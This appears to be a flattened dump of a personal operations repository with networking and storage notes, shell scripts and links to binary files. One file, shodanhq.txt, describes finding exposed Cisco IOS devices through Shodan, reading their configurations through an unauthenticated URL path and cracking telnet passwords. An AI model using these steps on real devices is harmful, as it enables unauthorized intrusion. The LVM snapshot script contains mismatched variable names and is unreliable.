subnet=192.168.20; for i in {30..40}; 2 | do 3 | ping -c 1 -w 1 ${subnet}.${i} >/dev/null && echo "${subnet}.${i}: up" || echo "${subnet}.${i}: down"; 4 | done 5 | -------------------------------------------------------------------------------- /IAAS/net/cisco/[acl].txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/cisco/[acl].txt -------------------------------------------------------------------------------- /IAAS/net/cisco/[cli, static, rip, eigrp, ospf].txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/cisco/[cli, static, rip, eigrp, ospf].txt -------------------------------------------------------------------------------- /IAAS/net/cisco/[shell, command].txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/cisco/[shell, command].txt -------------------------------------------------------------------------------- /IAAS/net/cisco/[stp].txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/cisco/[stp].txt -------------------------------------------------------------------------------- /IAAS/net/cisco/[vlan].txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/cisco/[vlan].txt -------------------------------------------------------------------------------- /IAAS/net/cisco/office网络-规划.pkt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/cisco/office网络-规划.pkt -------------------------------------------------------------------------------- /IAAS/net/cisco/office网络.pkt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/cisco/office网络.pkt -------------------------------------------------------------------------------- /IAAS/net/huawei/01-14 盒式堆叠典型配置.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/huawei/01-14 盒式堆叠典型配置.pdf -------------------------------------------------------------------------------- /IAAS/net/huawei/huawei_CSS_iStack_link.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/huawei/huawei_CSS_iStack_link.jpg -------------------------------------------------------------------------------- /IAAS/net/huawei/huawei_storage_product_vs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/huawei/huawei_storage_product_vs.png -------------------------------------------------------------------------------- /IAAS/net/huawei/huawei_storage_product_vs_parameter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/huawei/huawei_storage_product_vs_parameter.png -------------------------------------------------------------------------------- /IAAS/net/huawei/华为_基于SVF的数据中心接入层组网图.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/huawei/华为_基于SVF的数据中心接入层组网图.jpg -------------------------------------------------------------------------------- /IAAS/net/huawei/华为istack配置助手.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/huawei/华为istack配置助手.docx -------------------------------------------------------------------------------- /IAAS/net/huawei/华为模拟器eNSP.txt: -------------------------------------------------------------------------------- 1 | eNSP使用简介 2 | 2016/8/29 3 | 4 | 图形化网络仿真工具平台,通过仿真模拟网络设备,帮助您快速熟悉华为数通产品。 5 | 6 | 下载 7 | http://support.huawei.com/enterprise/toolNewInfoAction?lang=zh 8 | http://support.huawei.com/enterprise/toolNewInfoAction!toToolDetail?contentId=TL1000000015&productLineId=7919710 9 | 10 | 依赖 11 | wireshark 12 | virtualbox 13 | winpcap 14 | 15 | 安装 -------------------------------------------------------------------------------- /IAAS/net/huawei/堆叠系统工作在接入层.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/huawei/堆叠系统工作在接入层.jpg -------------------------------------------------------------------------------- /IAAS/net/huawei/堆叠系统工作在接入环上.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/huawei/堆叠系统工作在接入环上.jpg -------------------------------------------------------------------------------- /IAAS/net/huawei/堆叠系统工作在汇聚层.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/huawei/堆叠系统工作在汇聚层.jpg -------------------------------------------------------------------------------- /IAAS/net/huawei/设备通过业务口组建堆叠示例(V200R003~V200R009版本).jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/huawei/设备通过业务口组建堆叠示例(V200R003~V200R009版本).jpg -------------------------------------------------------------------------------- /IAAS/net/huawei/设备通过堆叠卡组建堆叠示例(V200R001~V200R009版本).jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/huawei/设备通过堆叠卡组建堆叠示例(V200R001~V200R009版本).jpg -------------------------------------------------------------------------------- /IAAS/net/huawei/逻辑组网图_存储_管理_业务_01.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/huawei/逻辑组网图_存储_管理_业务_01.jpg -------------------------------------------------------------------------------- /IAAS/net/huawei/逻辑组网图_存储_管理_业务_02.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/huawei/逻辑组网图_存储_管理_业务_02.jpg -------------------------------------------------------------------------------- /IAAS/net/openvpn/openvpn_access_server.txt: -------------------------------------------------------------------------------- 1 | openvpn access server 2 | 3 | 这个是openvpn的商业版本,免费支持2个用户同时在线 4 | 5 | yum install net-tools 6 | wget http://swupdate.openvpn.org/as/openvpn-as-2.0.10-CentOS7.x86_64.rpm 7 | rpm -Uvh openvpn-as-2.0.10-CentOS7.x86_64.rpm 8 | passwd openvpn 9 | 10 | Admin UI: https://0.0.0.0:943/admin 11 | 管理员登录,使用刚才设置的密码 12 | 13 | Client UI: https://0.0.0.0:943/ 14 | 用户登录,可以下载openvpn的客户端配置文件。 15 | 16 | 参考: 17 | 1、Installing OpenVPN on CentOS 7 18 | https://www.vultr.com/docs/installing-openvpn-on-centos-7 -------------------------------------------------------------------------------- /IAAS/net/tcp/simultaneous-open.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/tcp/simultaneous-open.jpg -------------------------------------------------------------------------------- /IAAS/net/tcp/tcp-normalstatechange.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/tcp/tcp-normalstatechange.jpg -------------------------------------------------------------------------------- /IAAS/net/tcp/tcp-state-change-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/tcp/tcp-state-change-1.jpg -------------------------------------------------------------------------------- /IAAS/net/tcp/tcp-state-change.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/tcp/tcp-state-change.jpg -------------------------------------------------------------------------------- /IAAS/net/tcp/tcp研究资料.md: -------------------------------------------------------------------------------- 1 | # tcp研究资料 2 | 3 | 2019/1/16 4 | 5 | ## 拥塞控制算法相关 6 | TCP BBR算法与Reno/CUBIC的对比 7 | https://blog.csdn.net/dog250/article/details/52962727 8 | 9 | tcp加速技术解决方案 10 | http://www.cnhalo.net/2016/03/13/tcp-accelerate-report/ 11 | 12 | 13 | ## 细节相关 14 | linux tcp syncookie实现 15 | http://www.cnhalo.net/2016/07/13/linux-tcp-syncookie/ 16 | 17 | linux TCP Prequeue队列和backlog队列 18 | http://www.cnhalo.net/2016/07/13/linux-tcp-prequeue-backlog/ 19 | 20 | linux tcp keepalive定时器 21 | http://www.cnhalo.net/2016/06/13/linux-tcp-keepalive/ 22 | -------------------------------------------------------------------------------- /IAAS/net/test/55/55_server_client_default/55_py_src.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/55/55_server_client_default/55_py_src.tar.gz -------------------------------------------------------------------------------- /IAAS/net/test/55/55_server_client_default/55_客户端_v3.0.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/55/55_server_client_default/55_客户端_v3.0.zip -------------------------------------------------------------------------------- /IAAS/net/test/55/55_server_client_default/55_服务端_howto.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/55/55_server_client_default/55_服务端_howto.zip -------------------------------------------------------------------------------- /IAAS/net/test/55/55_server_libqt_client_qt5/55_客户端_qt5_v2.8.0.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/55/55_server_libqt_client_qt5/55_客户端_qt5_v2.8.0.zip -------------------------------------------------------------------------------- /IAAS/net/test/55/55_server_libqt_client_qt5/55_服务端_libqt_librehat.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/55/55_server_libqt_client_qt5/55_服务端_libqt_librehat.zip -------------------------------------------------------------------------------- /IAAS/net/test/55/doc.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/55/doc.zip -------------------------------------------------------------------------------- /IAAS/net/test/WANem.txt: -------------------------------------------------------------------------------- 1 | 虚拟机安装好WANem,IP配置为192.168.1.250 2 | 3 | 4 | 调整本地网络的网关,从192.168.1.1变成192.168.1.250即可。 5 | 6 | 接下来,调整丢包和延时的参数: 7 | 8 | 访问250上的网页http://192.168.1.250/WANem/ 9 | 10 | 选择:“ Advanced Mode” - “start” 11 | 12 | 设置Delay time(ms) 和 Loss(%) 即可。 13 | -------------------------------------------------------------------------------- /IAAS/net/test/fiddler.txt: -------------------------------------------------------------------------------- 1 | fiddler用法记录 2 | 3 | 1、构造post请求 4 | 1)请求页面 5 | 6 | 2)将session拖到composer页面 7 | 8 | 3)构造 9 | 10 | 在 Parsed 选项卡选择: 11 | POST http://192.168.20.32/accounts/login/ HTTP/1.1 12 | 13 | 输入: 14 | Cookie: sessionid=z9f8vu58d8p5d0ozn17elnlg9jh5fegi; csrftoken=9mBaunTtaK246wW7JNVLGoFvPQfsl6iZ 15 | Host: 192.168.20.32 16 | Content-Length: 92 #这一行是在 Options选项卡中勾选“Fix Content-Length header”后自动添加的。 17 | Origin: http://192.168.20.32 #这一行是django的csrf需要的 18 | Content-Type: application/x-www-form-urlencoded #这一行是webform需要的 19 | 20 | 21 | 在 Request Body 选项卡输入: 22 | csrfmiddlewaretoken=9mBaunTtaK246wW7JNVLGoFvPQfsl6iZ&username=test&password=test 23 | 24 | 4)执行 25 | 点击:Execute -------------------------------------------------------------------------------- /IAAS/net/test/secureCRT/img/00.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/secureCRT/img/00.png -------------------------------------------------------------------------------- /IAAS/net/test/secureCRT/img/01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/secureCRT/img/01.png -------------------------------------------------------------------------------- /IAAS/net/test/secureCRT/img/02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/secureCRT/img/02.png -------------------------------------------------------------------------------- /IAAS/net/test/secureCRT/img/03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/secureCRT/img/03.png -------------------------------------------------------------------------------- /IAAS/net/test/secureCRT/img/04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/secureCRT/img/04.png -------------------------------------------------------------------------------- /IAAS/net/test/secureCRT/img/05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/secureCRT/img/05.png -------------------------------------------------------------------------------- /IAAS/net/test/secureCRT/img/06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/secureCRT/img/06.png -------------------------------------------------------------------------------- /IAAS/net/test/secureCRT/img/07.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/secureCRT/img/07.png -------------------------------------------------------------------------------- /IAAS/net/test/secureCRT/img/08.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/secureCRT/img/08.png -------------------------------------------------------------------------------- /IAAS/net/test/secureCRT/img/09.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/secureCRT/img/09.png -------------------------------------------------------------------------------- /IAAS/net/test/secureCRT/img/10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/secureCRT/img/10.png -------------------------------------------------------------------------------- /IAAS/net/test/secureCRT/img/11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/secureCRT/img/11.png -------------------------------------------------------------------------------- /IAAS/net/test/secureCRT/img/12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/secureCRT/img/12.png -------------------------------------------------------------------------------- /IAAS/net/test/secureCRT/img/13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/secureCRT/img/13.png -------------------------------------------------------------------------------- /IAAS/net/test/secureCRT/img/14.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/secureCRT/img/14.png -------------------------------------------------------------------------------- /IAAS/net/test/secureCRT/scrt7.2spec.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/secureCRT/scrt7.2spec.zip -------------------------------------------------------------------------------- /IAAS/net/test/shodanhq.txt: -------------------------------------------------------------------------------- 1 | 通过web页面未授权访问并配置、查看路由器或交换机设备。并查看设备密码,通过密码反推得知路由器或交换机的telnet 帐号密码进行最大权限访问配置。 2 | 3 | 首先通过功能搜索引擎进行关键字搜索 。www.shodanhq.com 4 | "cisco-ios" "last-modified" 5 | 对搜索出的页面进行访问 6 | 7 | 搜索出的设备 IP地址加路径/level/15/exec/-/show/running-config/CR 直接访问配置 8 | 9 | 对设备的telnet 帐号密码进行破解。 10 | 11 | 12 | 帐号 密码这回就已经知道了,如果设备开启telnet可以直接访问。 13 | 如果设备没有开启telnet可以在web配置telnet服务并开启。 14 | -------------------------------------------------------------------------------- /IAAS/net/test/socks5/SwitchyOmega_Chromium.crx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/socks5/SwitchyOmega_Chromium.crx -------------------------------------------------------------------------------- /IAAS/net/test/socks5/如何使用socks5 代理.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/socks5/如何使用socks5 代理.docx -------------------------------------------------------------------------------- /IAAS/net/test/wireshark的使用教程.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/wireshark的使用教程.docx -------------------------------------------------------------------------------- /IAAS/net/test/抓包工具wireshark过滤.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/test/抓包工具wireshark过滤.txt -------------------------------------------------------------------------------- /IAAS/net/小白都能看明白的VLAN原理解释.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/小白都能看明白的VLAN原理解释.docx -------------------------------------------------------------------------------- /IAAS/storage/FTP/vsftpd.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/FTP/vsftpd.txt -------------------------------------------------------------------------------- /IAAS/storage/GlusterFS/GlusterFS-Architecture.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/GlusterFS/GlusterFS-Architecture.docx -------------------------------------------------------------------------------- /IAAS/storage/GlusterFS/glusterfs复制模式数据分布不一致的现象分析.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/GlusterFS/glusterfs复制模式数据分布不一致的现象分析.xlsx -------------------------------------------------------------------------------- /IAAS/storage/RAID/dell_raid_create_profile_based_virtual_disk_GenericRaid1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/RAID/dell_raid_create_profile_based_virtual_disk_GenericRaid1.jpg -------------------------------------------------------------------------------- /IAAS/storage/RAID/dell_raid_create_profile_based_virtual_disk_GenericRaid6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/RAID/dell_raid_create_profile_based_virtual_disk_GenericRaid6.jpg -------------------------------------------------------------------------------- /IAAS/storage/RAID/raid_Dell服务器配置RAID10.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/RAID/raid_Dell服务器配置RAID10.txt -------------------------------------------------------------------------------- /IAAS/storage/RAID/raid_磁盘缓存.txt: -------------------------------------------------------------------------------- 1 | RAID卡的缓存与磁盘自带的缓存的关系 2 | 3 | RAID卡是否有(启用)缓存对“随机读写”性能有巨大的影响。中高端的RAID卡都有缓存(价格也高)。 4 | 那么RAID卡的缓存与磁盘自带的缓存是如何设置的? 5 | 6 | 戴尔服务器的perc H710 RAID卡有512M缓存,并带电池。 7 | 建立阵列的时候(raid5),关于RAID卡缓存的默认选项是: 8 | 条带:64K 9 | 读取策略:自适应预读 10 | 写策略:回写 11 | 磁盘高速缓存:禁用 12 | 13 | 属性解释: 14 | 读取策略:一般要启用,采用预读取策略,可提高“随机读取”性能。第二次读取相同数据时可以命中缓存。 15 | 写策略: 16 | 一般要启用“回写”,操作的是RAID卡上的缓存。 17 | 写入数据时先写入到缓存就算写入成功了,然后RAID卡控制器再把多个写IO合并为一个写IO一次性写入磁盘,提高“随机写入”的性能。 18 | 因为RAID卡带电池,机房停电时,电池可给缓存供电72小时。缓存中的数据不会丢失。 19 | 另外,如果没有给缓存接电池,默认“写缓存”是不被启用的(除非强行设定为“没有电池也启用写缓存”)。 20 | 21 | 磁盘高速缓存策略: 22 | 操作的是磁盘自带的高速缓存。 做RAID时,一般要禁用,防止机房停电时磁盘自带缓存中的数据丢失。磁盘可不带电池。 23 | RAID卡控制器可控制磁盘自带的缓存是否启用。 24 | 家用台试机(未使用RAID卡)在windows操作系统中有选项可以控制磁盘自带的缓存是否启用(默认启用)。 -------------------------------------------------------------------------------- /IAAS/storage/RAID/区分dell服务器的raid卡型号.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/RAID/区分dell服务器的raid卡型号.txt -------------------------------------------------------------------------------- /IAAS/storage/RAID/帮我选择RAID配置.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/RAID/帮我选择RAID配置.docx -------------------------------------------------------------------------------- /IAAS/storage/archi/AWS 云存储产品.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/archi/AWS 云存储产品.png -------------------------------------------------------------------------------- /IAAS/storage/archi/ceph_glusterfs_lustre.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/archi/ceph_glusterfs_lustre.png -------------------------------------------------------------------------------- /IAAS/storage/archi/switch_sas.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/archi/switch_sas.jpg -------------------------------------------------------------------------------- /IAAS/storage/archi/天河2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/archi/天河2.jpg -------------------------------------------------------------------------------- /IAAS/storage/dell/dell m1000e刀箱A1A2_mgmt-B1B2_prod-C1C2_stor-01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/dell/dell m1000e刀箱A1A2_mgmt-B1B2_prod-C1C2_stor-01.png -------------------------------------------------------------------------------- /IAAS/storage/dell/dell m1000e刀箱A1A2_mgmt-B1B2_prod-C1C2_stor-02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/dell/dell m1000e刀箱A1A2_mgmt-B1B2_prod-C1C2_stor-02.png -------------------------------------------------------------------------------- /IAAS/storage/dell/dell m1000e刀箱A1A2_mgmt-B1B2_prod-C1C2_stor-ipmi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/dell/dell m1000e刀箱A1A2_mgmt-B1B2_prod-C1C2_stor-ipmi.png -------------------------------------------------------------------------------- /IAAS/storage/dell/dell_storage_iscsi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/dell/dell_storage_iscsi.png -------------------------------------------------------------------------------- /IAAS/storage/dell/dell_storage_iscsi_san_EqualLogic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/dell/dell_storage_iscsi_san_EqualLogic.png -------------------------------------------------------------------------------- /IAAS/storage/dell/dell_storage_nas.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/dell/dell_storage_nas.png -------------------------------------------------------------------------------- /IAAS/storage/dell/dell_storage_nas_san_das.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/dell/dell_storage_nas_san_das.png -------------------------------------------------------------------------------- /IAAS/storage/dell/dell_storage_nas_san_das_benefit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/dell/dell_storage_nas_san_das_benefit.png -------------------------------------------------------------------------------- /IAAS/storage/dell/dell_storage_nas_san_das_vs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/dell/dell_storage_nas_san_das_vs.png -------------------------------------------------------------------------------- /IAAS/storage/dell/dell_storage_network_backup_policy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/dell/dell_storage_network_backup_policy.png -------------------------------------------------------------------------------- /IAAS/storage/dell/dell_storage_network_design.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/dell/dell_storage_network_design.png -------------------------------------------------------------------------------- /IAAS/storage/dell/dell_storage_prod_EMC.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/dell/dell_storage_prod_EMC.png -------------------------------------------------------------------------------- /IAAS/storage/dell/dell_storage_prod_EQL.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/dell/dell_storage_prod_EQL.png -------------------------------------------------------------------------------- /IAAS/storage/dell/dell_storage_prod_PVMD.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/dell/dell_storage_prod_PVMD.png -------------------------------------------------------------------------------- /IAAS/storage/dell/dell_storage_san_iscsi_benefit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/storage/dell/dell_storage_san_iscsi_benefit.png -------------------------------------------------------------------------------- /IAAS/storage/lvm/bin/disk_lvm_snapshot.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # 2015/7/31 4 | 5 | n_size='2G' 6 | f_vg='vg01' 7 | f_orin='lv01' 8 | f_snap='snap_lv01' 9 | lv_orig="/dev/${f_vg}/${f_orig}" 10 | lv_snap="/dev/${f_vg}/${f_snap}" 11 | d_backup='/data/backup/snapshot' 12 | f_snap="${d_backup}/${f_orig}_$(date +%F).tar.gz" 13 | 14 | #1 create 创建快照 15 | lvcreate -L ${n_size} -s -n ${f_snap} ${lv_orig} 16 | 17 | #2 mount to tar backup 挂载后压缩备份 18 | test -d ${d_backup} || mkdir -p ${d_backup}/mnt \ 19 | && mount -o remount,ro ${lv_snap} ${d_backup}/mnt \ 20 | && df -h 21 | 22 | cd ${d_backup} \ 23 | && tar zcf ${f_snap} mnt/* \ 24 | && ls -lh ${f_snap} 25 | 26 | #3 umount to remove 卸载后移除快照 27 | umount ${d_backup}/mnt && lvremove -f ${lv_snap} 28 | 29 | -------------------------------------------------------------------------------- /IAAS/storage/lvm/bin/reformat_disk_over16T.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | #2016/9/1 4 | 5 | yum -y install lvm2 xfsprogs 6 | df -h 7 | umount /data/ 8 | sed -i '/\/data/d' /etc/fstab 9 | fdisk -l /dev/sdb 10 | fdisk /dev/sdb <<_EOF 11 | p 12 | d 13 | p 14 | w 15 | _EOF 16 | sleep 5 17 | pvcreate /dev/sdb 18 | vgcreate vg0 /dev/sdb 19 | lvcreate -l 100%FREE -n lv01 vg0 20 | mkfs.xfs -f -i size=512 /dev/vg0/lv01 21 | sleep 5 22 | mkdir -p /data 23 | cat <<_EOF >>/etc/fstab 24 | UUID=$(blkid /dev/vg0/lv01 |cut -d'"' -f2) /data xfs defaults 0 0 25 | _EOF 26 | mount -a 27 | df -h 28 | -------------------------------------------------------------------------------- /IAAS/storage/partition/xfs.txt: -------------------------------------------------------------------------------- 1 | xfs使用记录 2 | 3 | 【数据盘分区】 4 | 如果分区所在设备已经挂载,要先卸载并删掉现有系统。 5 | yum install lvm2 xfsprogs -y 6 | pvcreate /dev/sdb 7 | vgcreate vg0 /dev/sdb 8 | lvcreate -l 100%FREE -n lv01 vg0 9 | mkfs.xfs -f -i size=512 /dev/vg0/lv01 10 | mkdir /data 11 | cat <<_EOF >>/etc/fstab 12 | UUID=$(blkid /dev/vg0/lv01 |cut -d'"' -f2) /data xfs defaults 0 0 13 | _EOF 14 | 15 | mount -a 16 | # df -h |grep data 17 | /dev/mapper/vg0-lv01 16T 33M 16T 1% /data -------------------------------------------------------------------------------- /IAAS/storage/partition/挂载ntfs格式的磁盘.txt: -------------------------------------------------------------------------------- 1 | 磁盘-挂载ntfs格式的磁盘 2 | 3 | wget http://download1.rpmfusion.org/free/el/updates/6/x86_64/fuse-exfat-1.0.1-2.el6.x86_64.rpm 4 | wget 